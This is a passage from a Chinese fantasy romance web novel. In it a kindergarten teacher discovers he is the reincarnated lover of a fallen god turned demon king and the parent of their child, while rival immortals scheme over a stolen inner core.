裴怀谦鼓励他:“没事的,打发时间而已,本来此行的目的也是让杨老师走出家门,不然总是待在家里,阴气过重,就像鬼上身一样,人会不舒服的。” 这话简直说到杨思昭心坎里了。 他几乎天天被鬼上身! 他回过头狠狠瞪了陆无烬一眼,陆无烬无动于衷。 眠眠握着小球拍兴冲冲地跑过来,蹦蹦跳跳,在一旁给杨思昭当啦啦队。 杨思昭于是聚精会神,继续打球。 也许是裴怀谦特意照顾,给他喂球,两人竟然有来有回了二十几轮,直到最后一击,羽毛球从裴怀谦的那端,成一个完美的抛物线,跃过半空,直直地朝着杨思昭的球拍飞来,杨思昭心中一喜,刚要迎上去,谁料那只羽毛球竟像是长了翅膀,在靠近杨思昭的前一秒,忽然又来了一次抛物线,越过了杨思昭的球拍。 杨思昭:“?” 他也没多想,转过身就去接。 眼看着羽毛球就要落下,他一个跃身,直接栽进了陆无烬的怀里。 先是头晕目眩,大脑短路了几秒,很快他就感觉到一只熟悉的手圈住了他的腰,隔着毛衣,摩挲着他的后背。 “打得不错。”陆无烬在他耳边说。 “你——” “你看不出来他对你有意思?” 杨思昭怔住,“不要以己度人,不是所有人都像你一样喜欢男人的!” 陆无烬低低笑了一声,俯身与他耳鬓厮磨,“看来有时候笨一点也不是坏事。” 周围还有人,杨思昭涨红了脸,挣扎了好几下,才猛然推开陆无烬。 他借口去卫生间,抱起眠眠就走。 裴怀谦慢悠悠地走过来,接过服务生递来的水,走到陆无烬面前。 “陆先生怎么不玩?” 陆无烬平静地看着他,闻言眉梢微扬,“玩这个,没意思。” 下一秒,裴怀谦就出现在一个虚茫茫的空间里,如雪中山谷,如云端天际。还没等他看清周遭环境,陆无烬的攻击已经出现在他背后,无数荧蓝色的光点汇聚成一团蓝色火焰以一个难以想象的速度朝裴怀谦袭来,裴怀谦措手不及,仅能设法阻挡,身上的衣服瞬间裂开一条条缝。 他踉跄跪地,用指腹拭去嘴角的血,“不愧是千年难得一遇的净梵神君,哪怕堕落成妖,功力也未减分毫。” 陆无烬的声音在他耳边响起,“你到底想做什么?” “我想做的,和神君差不多。” 陆无烬又是一击,裴怀谦调动全身功力堪堪承受住,额前已经布满虚汗。 “神君想知道三百年发生了什么,我也想知道两百年前,发生了什么。” 陆无烬沉默了。 “这是神君最不想面对的,是吗?他没有爱过你,他接近你,只是为了你的化丹,让你爱上他,为他破禁,为他放弃千年的苦修,为了让你彻底放下戒备,他甚至服下孕珠,以男子之身怀了你们的孩子,在你最幸福的时刻,生生剖去了你的化丹,抛弃你和孩子,逃之夭夭。” “他从来、从来不曾爱过你。” “但他不知道,你苦修千年,还需几次轮回历练,便能升上仙。所以当他带着你的化丹想逃往人间躲藏,却阴差阳错,代替你变成一介凡人进了轮回。” “第一次轮回,我遇到了他。” “闭嘴。”陆无烬冷声说。 裴怀谦虚弱地笑了笑,“真新鲜,净梵神君竟然也有畏惧的事。” “天机不可明宣,所以神君什么都不能说,看他那双陌生的眼睛,心一定很痛吧,当初他是怎么舍得抛夫弃子的?” 裴怀谦明显感觉到周遭的白雾变得越来越深,越来越沉,几乎让他喘不过气。 这说明陆无烬在妖化。 昨天妖将殷刹找到他,告诉他:“陆无烬当初身中无情咒,为了不伤害孩子,耗空了一半修为,又没了化丹,其实他早不如以前那般强大了。”殷刹说:“因为灵力减弱,妖气入体,还要频频抵抗无情咒的禁制,陆无烬其实只剩一个空壳了,他靠着没日没夜的修炼,才勉强稳住体内的妖气,一旦他彻底成了妖,哪怕化丹归位,他也做不回神仙了。” “勾起他的恶念,唤醒他的痛苦。” “让他恨、让他怨,让他放下三百年的爱,生生剖去洵暮身体里的化丹。” “让他彻底堕落成妖。” “等他知道真相之后,却发现,一切早已无法挽回。” …… 杨思昭正在卫生间里教眠眠洗手,先让小手沾满泡沫,掌心相对搓一搓,手指交叉搓一搓,他的大手握着眠眠的小手,时不时还咬一下眠眠的小耳朵。 眠眠被妈妈咬了还傻兮兮地笑,嘟起嘴巴,小心翼翼地在杨思昭的脸颊上亲了一口,还害羞起来,小脸瞬间变得红扑扑。 “现在把泡沫洗——” 话还没说完,门霍然被人推开。 杨思昭吓了一跳,连忙回头看,看到了满脸阴沉,眸中透着血气的陆无烬。 完全陌生的陆无烬。 充满杀气,看他的眼神里似有恨意。 而四周的空气也变得凝固,原本还晴空万里的明媚天空,瞬间阴沉如暴雨将至,球场里安静得听不见一点人声。 杨思昭吓得僵住了,胸腔因为恐惧而震颤,他下意识抱紧了眠眠,“陆、陆无烬,你怎么了……” 陆无烬没有反应。 杨思昭恐惧到哭出声来,“我……我就知道你靠近我是不怀好意……” “过来,抱我。” 杨思昭愣住,抹了一把眼泪,怔怔地望过去,看到陆无烬的唇角溢出一滴血,眸色已然清明,因为虚弱而扶住门框。 “杨思昭,过来抱我。” “我很需要你。” 第28章 杨思昭觉得自己被撕裂成了两半。 一半还僵在洗手台边,因为恐惧而瑟瑟发抖,一半已经放下眠眠,朝着陆无烬一步步走去。 就像他搞不懂陆无烬一样,他现在有点搞不懂自己了。明明很害怕的,明明一遍遍对自己说,不要当替身,不要因为陆无烬损耗自己的健康,但听到那句“我很需要你”的时候,他还是不受控制地,迈出了步伐。 有那么一瞬间,脑海中闪过一个念头:我会死吗?他看起来像是要吞噬我。 可身体还是向他靠近了。 他没有伸手,是陆无烬先抱住他的。 那么高、那么大的块头,俯身抱住他的时候,竟然像是不敢用力一样虚虚地拢着他,宽大的手掌覆在他的后背,又收回,仿佛确认了他是真实存在的,就已足够。 杨思昭深吸了一口气,在他结束单方面的拥抱之前,伸出手,圈住了他的腰。 这样,就变成了一个完整的拥抱。 杨思昭感觉到陆无烬的呼吸变得急促了,甚至有些紊乱,他想要抬头看,陆无烬却把手覆在他的脑后,轻轻制止了他的动作。 “没事了。” “发生了什么?”杨思昭闷声问。 “很小的事。” “在你那里就没有大事,小事太小不用说,大事是天机不能说,哪有你这样的?” 陆无烬轻笑一声,反而将杨思昭往怀里揽了揽,“是啊,哪有我这样的。” 杨思昭的两只手垂在腿侧,身子往前倾,因为陆无烬的肩膀比他高很多,他微微踮起脚,才能把脸靠在陆无烬的肩头。 “外面怎么了?” “你希望外面怎么样?” 杨思昭在他的腰上揪了一把,恼道:“不要总是反问我,我在问你话!” “没怎样,我让他们都走了。” “你不会和裴先生打球打得一身伤吧?” 陆无烬轻笑,可听起来,又像是一声无奈的叹息。 眠眠坐在洗手台上,举着两只满是泡沫的手,呆呆地看着抱在一起的爸爸妈妈。 泡泡在他的手上一颗颗地爆炸了,有没有人来帮帮他? 可他等了很久,爸爸也没有松开妈妈。 杨思昭一直踮着脚,两条腿愈发沉重,像灌了铅,渐渐支撑不住。刚想往后退一些,陆无烬已经松开了他,走到洗手台边,用冷水洗了一把脸,把嘴角的血擦干净了。 杨思昭追过来,问:“你到底怎么了?” 陆无烬抽了张纸巾,慢条斯理地擦,“以后不要和裴怀谦走得太近了。” “哦……”杨思昭点点头,又疑惑:“为什么?” “因为我会吃醋。” 他说得理所当然,杨思昭差点没话反驳,只能板着脸说:“这个不是理由。” “杨思昭。”陆无烬忽然喊他的名字。 杨思昭突然意识到,陆无烬之前似乎从没直接喊过他的名字。 “如果非要有个理由,杨思昭,我是这个世界上唯一对你没有任何图谋的人。” 陆无烬垂眸看了眼眠眠,又补充了句:“哦,还有这个。” 眠眠听不懂,鼓起嘴巴吹走泡泡。 陆无烬回头望向杨思昭,“所以不要轻易地相信别人,相信我,只需要相信我。” 杨思昭愣了许久。 他一边嘟囔着“才不要呢”,一边抱起眠眠,帮他洗手。眠眠挂在杨思昭的手臂上,垂着两只湿漉漉的小手,抬起头望向陆无烬。 陆无烬把自己擦过脸的纸巾递给他。 眠眠撅起嘴,低下头,试图用不存在的小羊角顶他,陆无烬微微勾起唇角。 杨思昭早已经习惯了父子俩的斗争,懒得搭理,抽了张纸巾给眠眠擦手。 走出卫生间,球场里空无一人。 阴恻恻的天空逐渐晴朗,空气中弥漫的死寂之气似乎也在不知不觉中散开。 杨思昭牵着眠眠的手,走过一排排球网,眠眠挥舞着自己的小球拍自娱自乐,杨思昭忽然停下来,问眠眠:“想不想玩?” 眠眠呆了呆,点点头。 杨思昭朝他笑,“我们比赛好不好?” 眠眠的眼睛瞬间变成两颗小星星。 于是他和眠眠各站一边,由杨思昭发球,他打得轻轻的,对准眠眠的球拍。眠眠的反应总是慢半拍,羽毛球都砸在他的网面了,他先发出一声“哇”,咧开嘴巴笑,然后才想起来要把球打回去,但球已经掉到地上了。 杨思昭噗嗤一声笑出来。 眠眠也跟着傻笑,想了想,才发现妈妈是在笑自己,于是害羞地捂住了嘴巴。 “眠眠,打过来。”杨思昭鼓励他。 眠眠捡起球,挥动球拍,失败,球直直地落了地,又试了一次,还是失败。 杨思昭于是把自己的球拍塞到陆无烬手里,然后一路小跑,站在眠眠身后,和眠眠一起握住小球拍,柔声教他:“像妈妈这样,把球举起来,然后松手,再举起球拍。” “我的力气很小。”眠眠怯怯地说。 杨思昭安慰他:“没事,妈妈和你一起。” 眠眠于是铆足了劲,用力挥拍。 只见那只羽毛球直直地飞了出去,擦着边,越过球网——被陆无烬的球拍接住。 杨思昭:“?”他以为陆无烬不会参与他们这种幼稚行径。 可陆无烬不仅接住了球,才来了一记反扣,把球打了回来。 杨思昭和眠眠几乎同时仰起头,视线追随着羽毛球,从上到下,快要砸下来的时候,杨思昭才想起来手上还有球拍。 幸好拦截住了。 又打回去。 有时候眠眠够不着,杨思昭就把他抱起来,两个人一起对抗陆无烬的袭击。 就这样来来回回了好几轮。 最后以陆无烬没接住球而结束。 “耶!”眠眠放下小球拍,飞扑进杨思昭的怀里,开心道:“爸爸输了!” “爸爸是大笨蛋。”杨思昭说。 眠眠学舌:“爸爸是大笨蛋。” 下一秒,羽毛球就凌空飞了起来,在眠眠和杨思昭的头顶各弹了一下。 “陆无烬!”杨思昭捂着脑袋。 陆无烬装作没听见,两手插着兜,悠闲地走出了场馆。 当天晚上,陆无烬是在杨思昭的家里睡的。 睡在客房。 杨思昭洗完澡,穿着睡衣,抱着胳膊像门神一样堵在自己的卧室门口,看着站在餐桌边慢悠悠喝水的陆无烬,一字一顿道:“今晚不准进我的房间!” 陆无烬扬了下眉梢,不回答。 杨思昭气得攥起拳头,又拿他毫无办法,狠狠瞪了他一眼,憋出一句狠话:“再半夜上床,你就——就变成狗!” 陆无烬不以为然,“听着有点像邀请。” 杨思昭:“……” 但是第二天醒来,他的怀里只有一个熟睡的眠眠,身后没有硬梆梆的束缚。 陆无烬没来。 杨思昭不想承认,有一瞬他竟然觉得有些失落,虽然他不知道这种失落来源于何处。 他蹑手蹑脚地走出去,悄悄推开客房的门,然而床上空空。 陆无烬不在。 杨思昭在门口愣了许久。 很快,陈此安上门送来了早餐,并告诉他:“杨老师,先生身体不适,需要休养,很快会回来陪您的。” 又是这样,杨思昭突然意识到:陆无烬大概真的受伤了,前天在潜山别墅、昨天在球场,都是虚弱的,只是硬撑着。 原来妖王也不是万能的。 “陈助理,你能给我讲讲陆无烬以前的故事吗?还有他和他……爱人的事。”. “神君,我有点想家了。” 少年枕在男人的腿上,百无聊赖地拨弄着身侧的蒲团,午后的暖阳洒在他的身上,他觉得热,慢吞吞地翻了个身。 仰头望向男人,又咕哝了一遍:“神君,我想家了。” 男人淡定地翻看着经书,“那就回去,本来也没人要你留下来。” 少年闻言倏然跪坐起来,气鼓鼓地看着男人,叉着腰说:“你让我伤心了!我在这里陪你,你明明很高兴的。侍女姐姐都说我出现之后,神君脸上都有笑容了,你明明就是很喜欢我待在这里的!” 男人没理他。 少年又挨挨蹭蹭地凑到男人身边,用羊角顶了顶男人的肩膀,抱怨道:“你这儿什么好吃的都没有,我每天只能吃花喝水,肚子都要饿扁了,要是被我爹娘知道了,他们一定很心疼的。” 男人听了,眸色渐深,沉声道:“所以你为什么非要留在这里?为了什么?” 少年的脸色一下子变了,因为心虚,眼神飘忽不定,嗫嚅道:“我、我倾慕神君,想和神君长、长相厮守。” 男人轻笑,似是蔑然。 少年自尊受损,背着小包袱准备离开,踏出门槛前,他回头,小声说:“你……你挽留一下我,我就不走了。” 男人身形不动。 少年气鼓鼓地走了,一眨眼就窜出了青竹林。男人缓缓放下经书,回头望去。 第二天,少年又回到了青竹林,站在院落的木门边。 可门口没有仙侍看守,他试探着走进去,只见他平日里常住的那间屋子四周充斥着蓝色的灵气,震荡、愈演愈烈,像是一簇簇蓝色火焰聚成一团,炙烤着小屋。 他要闯进去,侍女将他拦住:“不要进去,神君正在破境,这是他苦修的一部分,此刻你若进去,必会遍体鳞伤!” 少年探进窗户,看到极度痛苦、面色煞白的神君,他从没见过这样的神君。 “他为什么苦修?” “神君还是凡人的时候,被皇帝打发到边境守国,几十年如一日,身边只有几百亲信弟兄,他死后,那些追随的士兵们也都被杀死了。神君得道之后,从不享受做神仙的好处,他认为只有苦修,才能对得起那些因他而死的兄弟。” “错的不是他,他这是何苦!” 少年急得要哭,很快他又听见一声痛彻骨髓的低吟,来不及多想,他就冲了进去。不顾蓝色火浪的冲击,不顾身上的衣裳尽数裂成碎片,不顾皮肤被灼伤,义无反顾地扑到男人怀里,抱住他,哭着说:“神君,我在,你不要伤害自己……” 话音刚落,蓝色火焰化作灰烬,男人的视线逐渐清明,垂眸望向少年。 少年浑身破缕,肩胛的肌肤还被火焰灼伤,他却满眼心疼地望着男人,啜泣着、颤抖着、挣扎着起身抱住男人的肩膀:“不要难过,神君,没有人会怪你的,他们心里一定想着,这辈子能追随这样一位忠诚的将军,此生无憾了。” 他捧住男人的脸,用手轻轻擦去男人嘴角的血,“你没有错,你做得已经够好了,不要再伤害自己了,我会心疼的。” 男人目光怔怔,心海几乎翻天覆地。 “我还以为做神仙很开心呢,结果没有好吃的没有好玩的,就只有数不尽的修炼,和一眼望不到头的年月。这么多年,你会不会很孤单——” 一句问话没说完,他的唇瓣已经被炙热的吻封住了,他被压在蒲团上,汹涌的吻几乎攫取了他的呼吸,他只能呆呆地望着屋顶,感受男人的吻辗转到颈侧,又到胸口,愈合他肌肤上所有细微的伤口。 一直到最后,被男人吃干抹净了,他还是呆的,躺在男人身下,一脸天真地问:“你的那个……进到我的身体里,会提升我的功力吗?我是不是可以去天琊山报复那只欺负过我的狼妖了?” 男人握住他的手,放在自己的胸膛,化丹所在的位置,沉声问:“你想要吗?” 他完全没领会男人的意思,红着脸,眨了眨圆溜溜的眼睛,傻乎乎地说:“想要!”然后抬起疲惫不堪的胳膊,攀住男人的肩膀,又一次把自己送上去。 结束之后,少年窝在男人的怀里,浑身一点力气都没有,软绵绵地靠在男人的胸膛,抬起胳膊,让男人为他穿衣。 忽然一阵风吹来,窗棂微动。 他转头望去。 窗外似乎有人影在动。 他好奇地起身,下了床,赤足走到窗边,推开窗,看到一个满脸惊诧的年青人,两人四目相对。 “你是谁?” “你是谁?” 一个声音在耳边乍起,杨思昭骤然惊醒,后背尽是冷汗,他大口大口地喘着气,身体似乎不属于他自己了。 “杨老师,杨老师?”陈助理的声音从另一端传来,他缓缓睁开眼。 还是青天白日,还是他的家。 他从沙发上坐起来,看到了一脸担忧的陈此安。 “做噩梦了吗?” 杨思昭缓缓摇头,“梦到你说那段往事了。” “哦?” “可是好奇怪……” “怎么奇怪?” 杨思昭难以启齿:在他的梦里,陈此安说的那只小羊妖,分明长着一张和他一模一样的脸! 梦中和陆无烬白日宣淫的那个少年,竟然和他长得分毫不差。 怎么会这样? 第29章 一模一样的脸。 怎么会一模一样呢?五官就像是复刻出来的,连眉眼都毫无二致,只是神态—— 比起梦里那个少年的天真纯粹,杨思昭多了点疲倦。 陈此安走后,他躲在卫生间里,学着陆无烬用冷水洗了一把脸,让自己冷静下来,然后对着镜子看自己的五官,让他感到惊慌的是,他不仅在自己的脸上看到了那个小羊妖的影子,还看到了眠眠。 太像了,不只是酒窝。 如果他是女生,牵着眠眠的手走出去,估计所有人都会默认眠眠是他生的。 可他怎么会生孩子? 正头脑风暴的时候,他听到门外传来小声的“妈妈”,是眠眠在扒门。他在卫生间里待了太久,眠眠一定很担心。他缓缓打开门,眠眠仰起头望向他,圆圆的眼睛里写满害怕。 眠眠对他的依赖几乎到了有分离焦虑的程度。 一个其实已经在他的脑袋里闪现过好几回的念头再一次出现,变得愈发清晰。 孕珠,前世。 这两个词在他的脑海中逐渐连成线。 他缓缓蹲下,抱住眠眠。 他能感受到眠眠又软又热的脸颊,贴在自己的颈侧,感觉到他的心跳,隔着厚厚的运动服也能传达到他的心房。 眠眠不是那种会在父母的怀里肆意撒娇的孩子,他有着四岁孩子不该有的敏感和懂事,就像现在这样,当杨思昭突然抱住他,他会乖乖站着,两只小手轻轻搭在杨思昭的身上,像一只小木桩,努力成为杨思昭的倚靠。 如果眠眠不懂事一点,一开始就哭着喊着说:你就是我的妈妈,你三百年前就是我的妈妈了。那杨思昭可能会更早开窍。 但眠眠不会这样做,眠眠只会哭着哀求:如果妈妈有了其他的宝宝,能不能不要丢掉我?我会很乖很乖,快快长大。 杨思昭像陆无烬经常做的那样,将掌心覆在眠眠的后背上,把他用力按向自己。眠眠往前倾倒,胳膊下意识地圈住了杨思昭的脖子。一个更紧密的拥抱。 杨思昭轻声问:“眠眠从冰块里醒过来的时候,是不是很想妈妈?” 良久,他听到一声很小很小的啜泣,是眠眠伏在他的肩头哭。 “很大很大的地方,一点声音都没有,只有冰块和眠眠。” “爸爸妈妈都不在。” “每次醒过来,妈妈都不在。” 杨思昭的心快被揉碎了,疼到无以复加,所以答案一开始就存在了,是眠眠对他说的那句,“我找了很久很久,才找到妈妈。”. 接受这件事,对于现在的杨思昭来说,已经没那么困难了。 他甚至没有着急去找陆无烬验证。 他心里有个声音,眠眠就是他的孩子,不管真相是否如此,这一点不会改变。 他喜欢眠眠,喜欢到哪怕有天陆无烬要带走眠眠,他都要和陆无烬争一争的程度。 他继续原本的生活,只是夜梦越来越多,画面越来越清晰,就像一片片补全的拼图,逐渐露出真相的一角。 打完球的第三天,他在幼儿园门口看到了裴怀谦,裴怀谦的脸色有些许苍白,但撞上他的视线,还是露出了温柔的笑容。 杨思昭看着他关了车门,朝自己的方向走过来,不自觉往后退了一步。 恰好乐乐背着小书包,蹦蹦跳跳地朝他扑过来,他低头,笑吟吟抱住乐乐,想要借这个机会,顺势和孩子们一起进园,还是被裴怀谦叫住了。 “杨老师。” 他止步,在原地等着裴怀谦走近。 “我这几天身体不适,没有接送许曜,感觉已经有好久没见到杨老师了。” 很生硬的搭讪。 杨思昭觉得自己真是迟钝得惊人,竟然到这时候才意识到裴怀谦在和他搭讪。 他礼貌道:“裴先生,许曜小朋友是叶老师负责的,有什么问题可以和叶老师直接沟通呢。” 裴怀谦的表情没有变化,眼神却冷得明显,哪怕他语气再温柔,“我只是想和杨老师交个朋友,杨老师不必戒备。” “为什么要和我交朋友呢?我只是一个很普通的幼儿园老师,和裴先生不是一个层次的人,裴先生的热情让我感到困扰了。” “是因为他说了什么?” 杨思昭一下子就反应过来裴怀谦说的“他”是指谁,“不是,只是后知后觉。” 裴怀谦嘴角的笑容也一点一点消失了。 杨思昭准备离开,半路又折返,问他:“裴先生,你是人类吗?” 很直白的发问,裴怀谦一时间竟不知道如何作答,良久才点头:“我现在是。” “我们不是第一次见面,是吗?” “为什么这样问?” “陆无烬出现之前,我的世界很平凡、很简单,没有谁的目光会停留在我身上,我长年累月做着一个很奇怪的梦,自我封闭,没有朋友。陆无烬出现之后,我的生活里陡然涌进了很多人。还有人对我说我这辈子命很好,要好好珍惜。” 他望向裴怀谦,“这辈子命很好,是因为上辈子吃了很多苦吗?” 他的问话,让裴怀谦瞳孔震颤。 “你们好像都知道。”杨思昭叹了口气,转身进了幼儿园。 他进去,徐蕊走出来。 “你输了,溯光神君,何必再执着于他呢?” 裴怀谦垂眸不语,正欲离开,徐蕊又追上来:“你违背你的职责,监守自盗,可是……就算你将他三百年的记忆了然于心又怎么样呢?他还是爱上了陆无烬。” 徐蕊往前走了一步:“不如与殷先生合作,利用杨思昭,将陆无烬妖化,让他完全失去理智,成为无情咒的傀儡。再从杨思昭的前世记忆中提取回澜咒,将陆无烬体内的化丹转移到殷先生身上。” “只要成功,殷先生便将洵山千年才孕育一颗的月灵丹赠予神君,助神君破境。” 徐蕊挑起眼尾,如狐狸般魅惑:“感情之事最为庸俗,胜了又能如何?只换来百年牵绊。神君难道不想取代陆无烬,成为新一代神君之中的佼佼者?” 裴怀谦没有回答。 徐蕊邪笑道:“神君,合作愉快。” 她转过身,又是一副温柔模样,对家长招招手:“早上好啊,远远妈妈。” 裴怀谦始终神情肃穆,走到车边,回头看了眼徐蕊,忽然笑了。 上车之后,他拨通了陆无烬的电话. 小(5)班的教室里, 杨思昭托腮坐在桌边发呆,六个小家伙也学他的样子,一边三个,托腮望着他。 眠眠左右不分,看对面的乐乐支着左手,他也支起左手,可好不容易把短短的胳膊抵在桌边,身体已经扭成麻花了。 小池无奈地拍了下额头,教他用右手。 眠眠吭哧吭哧地摆好。 下课铃声响了,杨思昭发完呆,一回神,看到面前的小妖怪们。 “……你们在干嘛?” 方小盼大声说:“小羊老师,你是不是谈恋爱了?我妈妈说你肯定谈恋爱了。” 杨思昭连忙否认:“瞎说什么呢?” 方小盼很得意:“你就是谈恋爱了,你以前从来不会发呆,也不会叹气。” “你知道什么是谈恋爱吗?” “知道啊,我爸爸说,谈恋爱就是一只狐狸在森林里遇到另一只狐狸,因为很喜欢很喜欢,就把自己最爱的田鼠分享给她。” 杨思昭忍不住笑,又问他:“那你知道什么是很喜欢很喜欢的感觉吗?” 方小盼说不出了,方小望举起手,替哥哥回答:“我妈妈说,很喜欢很喜欢的感觉就是想要和那只狐狸一起看月亮。” “原来如此。” 杨思昭笑着点了点头。 下班的路上,他接到了母亲的电话,秦慧娴在电话那头问:“那个陆先生有没有帮你介绍对象啊?” 杨思昭语塞。 秦慧娴叹气:“我就知道,那种大老板怎么把我们这种人的话当回事呢?” “妈。” “怎么了?” “你想抱孙子……是吧?” 秦慧娴在电话那头沉默了一会儿,突然笑道:“孙子孙女都可以啊!” 杨思昭低头望向眠眠:“如果是一个又可爱、又乖巧,长得还和我小时候一模一样的宝宝,你会喜欢吗?” “那我肯定喜欢的不得了,麻将都不打了,天天过去给你带孩子!” 杨思昭干笑两声。 秦慧娴几乎坐不住了,每一个音节都洋溢着兴奋,“怎么?你有情况?” “快、快了。” 杨思昭挂了电话,耳边还一直回荡着他妈的笑声,一阵头皮发麻。 他停下来,连做了两次深呼吸。 “妈妈。” 眠眠仰着头望向他。 他蹲下来,额头抵在眠眠的小小肩膀,小声说:“完蛋了完蛋了,眠眠,你奶奶要把我杀了,你可以征服她吗?” 眠眠听不懂,但还是点头。 “你就说,奶奶好,我是眠眠!” 眠眠穿着厚实的羽绒服,像小企鹅一样慢吞吞地往后退了一步,再努力把脸从围巾里面扒拉出来,深深鞠了一躬,差点栽倒,声音软软地说:“奶奶好。” 杨思昭歪头笑,“眠眠最棒了!” 眠眠看到妈妈握起拳头,也跟着握起拳头,学舌道:“棒棒!” “我们眠眠一定可以征服奶奶的!” 眠眠没听懂妈妈在说什么,但是妈妈说的话他必须回应,举起小拳头说:“服服!” 杨思昭忍不住亲他,在他的脸颊上印了一口,眠眠却立即伸手捂住。 杨思昭愣住:“怎么了?” 眠眠把脸藏进围巾,只露出一双圆眼睛,认真道:“风会把妈妈的亲亲吹走!” 杨思昭再一次深呼吸。 回到家,他做了鲜鸡汤小馄饨,两个人都吃得肚子圆滚滚,抱在一起看了会儿动画片,又玩了半个小时乐高。 按照小朋友的作息,九点不到,杨思昭已经抱着洗完澡的眠眠进了卧室。 眠眠穿着毛茸茸的睡衣,在床边滚圈自娱自乐,等着杨思昭吹完头发。 杨思昭一上床,他就爬了过来。 杨思昭把他抱进怀里。 睡得迷迷糊糊时,他感觉到床边微微下陷,一股冷冽的气息传了过来。 他瞬间清醒,绷紧了身体。 但是很快,他感觉到有一只微凉的手,从他的睡衣下摆伸了进去。 “……” 似乎用不着猜来人是谁了。 那只手太熟练了,简直比杨思昭还要熟悉他的身体,在他每一寸肌肤上游移,指腹轻轻碾过,然后停在他的胸口。 杨思昭正要开口,那只手又收回了。 就这样? 还没等他反应过来,他又听到一阵窸窸窣窣的脱衣声,床垫再一次下陷。 陆无烬又从背后抱住了他。 手也重新伸进他的衣摆。 感觉到眠眠的小脸蛋也抵在他的胸口,阻碍了行进,那只手伸出来,将眠眠翻了个身,还不忘捏两下眠眠的屁股。 解决了阻碍,陆无烬的手回到了杨思昭的身上。 身体变得很热,后背更是烫得厉害。 陆无烬的吻从他的后颈,来到耳垂,准备含住他的唇时,杨思昭睁开了眼。 窗帘缝隙之中溢出一线月光。 两个人的面容在昏暗中模糊,眼瞳里的光点却是清晰的。 杨思昭下意识说:“不要。” 说完他自己都觉得心虚。 睁眼太迟,拒绝都显得暧昧。 他已经可以确定,他的性取向似乎已经朝着反方向发展了,但那个人是不是陆无烬,他还没有想好。他只能把手抵在陆无烬的胸口,作为顽抗,以表明态度。 陆无烬从他胸口缓缓抬起上半身,杨思昭松了口气,微喘着说:“你、你不要太过分了,我是看在眠眠的份上,才给你一点面子,你——” 话没说完,更汹涌的吻就落了下来。 第30章 杨思昭的手已经抬到陆无烬的脸边了,犹豫了很久,还是没有落下去。 他不想和陆无烬再起争执,也害怕吵醒眠眠,但他的周全没有博得陆无烬的理解,反而助长了肆无忌惮的气焰。下一秒,陆无烬就握住他的手,压在枕上,与他十指相扣。 吻得更深了,陆无烬失控般攫取他的呼吸。 杨思昭只能屈起膝盖,狠狠撞向陆无烬的腿,却让自己失守,变成了更暧昧的姿态,他听见陆无烬的喉间发出一声闷笑。 他先是羞恼,很快又怔然。 这样的笑声,他似乎在很久很久之前听过。 唇瓣分离的间隙,终于重获呼吸,月光下陆无烬的眉眼时暗时现,和梦中的某些画面重叠,他鬼使神差地忽然喊了一声—— “神君。” 梦里是这个称呼吗? 好像是的。 那个少年就是这般唤陆无烬的。 他感觉到陆无烬的身体猛地一滞,像是被一道无形的电流击中,瞬间定格住了。 借着窗帘缝隙里漏进的几缕月光,他看到陆无烬的瞳孔急剧收缩,难以置信,又带着几分微不可察的悲伤,“你叫我什么?” 杨思昭抿唇不语。 “叫我什么?”陆无烬有些急切。 “我不知道,”杨思昭推开陆无烬的胸膛,侧过身去,蜷缩在枕边,“有一些很奇怪的梦钻进我的脑子里,我不知道,你不要问我。” 陆无烬欲言又止。 他看起来有很多话要问,但还是没有开口,只是沉默地躺在杨思昭身边。 一张床上,第一次安安静静地躺了三个人。 眠眠睡得很熟,小蚕豆一样蜷缩着。杨思昭帮他盖好被子,轻声说:“眠眠……是……是我的。” 他甚至不敢用问句,自欺欺人,好像这样就不会听到陆无烬回答“不是”。 “是你亲生的。” 一滴泪从杨思昭的眼角滑落,紧接着,是泉涌般的泪水,止也止不住。他握住眠眠的手,眠眠好像察觉到妈妈的情绪,在睡梦中紧紧握住了杨思昭的手指。 所以没有什么莫名的“亲近感”,也没有无缘无故的爱,是血缘的牵引。所以三百年的找寻和等待,都是为了他。这一刻,痛苦大过于震惊,杨思昭觉得自己的整颗心都被揉碎了,痛到喘不过气,又庆幸于失而复得,幸好,幸好眠眠现在安安稳稳地睡在他身边。 他太笨了,应该更早发现的,怎么硬生生拖了这么久,错过了眠眠多少次的“妈妈”。他一次次纠正眠眠喊他“小羊老师”的时候,眠眠该有多迷茫多无措。他真的太笨了。 他无声地哭泣。 一大一小两只手握在一起。 继而被另一只更大的手包裹住。 杨思昭瑟缩了一下,但没有躲开。 他心里清楚,无论愿不愿意,一切都改变了,他被迫进入一个全新的世界。陌生的前尘,未知的以后,还有两只在不知不觉中完全进入他生命的妖怪,他还没有想好究竟要如何与他们相处。 “睡吧。”陆无烬说。 这句话让杨思昭心神一震。 哪怕他是那个叫“暮儿”的少年的转世,他曾经深爱着陆无烬,可是……难道他存在的意义就是为了回忆起一段往事,然后成全陆无烬的深情吗? 他是他,是杨思昭。 他从陆无烬的怀中挣脱,撑起上半身,捂住心口,质问陆无烬:“为什么你一靠近,我的心脏会变得很疼?” 自从那天晚上,他把陆无烬的唇咬出血,陆无烬昏迷之后醒来,他就时常感到不适。夜梦频繁,精气耗损,就像是陆无烬要从他的身体里取走什么东西,让他没由来的恐慌。 陆无烬陷入沉默。 这段时间,他断断续续让杨思昭服下不少血,他的血能唤醒杨思昭体内的化丹,但也带来了副作用——化丹的苏醒。 如同两颗心脏在一个身体里同时搏动,是凡人的身躯无法承受的。 是他太急功近利了。 “你要把我变成什么样?”杨思昭问。 陆无烬良久未答,久到困意袭来,杨思昭的眼皮开始打架,梦境再度出现,与现实交织,朦朦胧胧中,他听见陆无烬说: “我还是那句话,你不是替身,相信我,你可以毫无保留地相信我。” “因为在我理应最恨你的时候,我依然选择毫无保留地相信你。”. 一股清甜的粥香飘了过来。 杨思昭在睡意惺忪中睁开眼,先是熟悉的天花板,然后是一张熟悉的小脸。 眠眠顶着一头乱糟糟的卷发,伏在他的肩膀上,眨巴眨巴地盯着他看。 杨思昭一抬手,翻身将他搂住。 “麻啊唔。”眠眠刚张开嘴巴准备喊妈妈,就被迫来了个天旋地转,但他一点也不生气,乖乖缩在杨思昭的怀里,两只小手举过头顶,咧着小嘴傻笑。 九点多的阳光透进窗帘,照在眠眠的小手上,他惊讶地说:“妈妈,手指头变成红色了。” 杨思昭和他脑袋抵着脑袋,躺在一起,也把手举了起来,遮住阳光,眠眠笑着说:“妈妈的手也变成红色了。” 杨思昭想了想,解释给眠眠听:“因为我们身上的血是红色,皮肤又是薄薄的,所以光一照在上面,就透出红色了。” 忽然,眠眠抓住了杨思昭的手指。 “怎么了?” “妈妈不要流血,妈妈要好好的。” 杨思昭鼻子一酸,问他:“眠眠找妈妈找了这么久,有没有生过妈妈的气?” 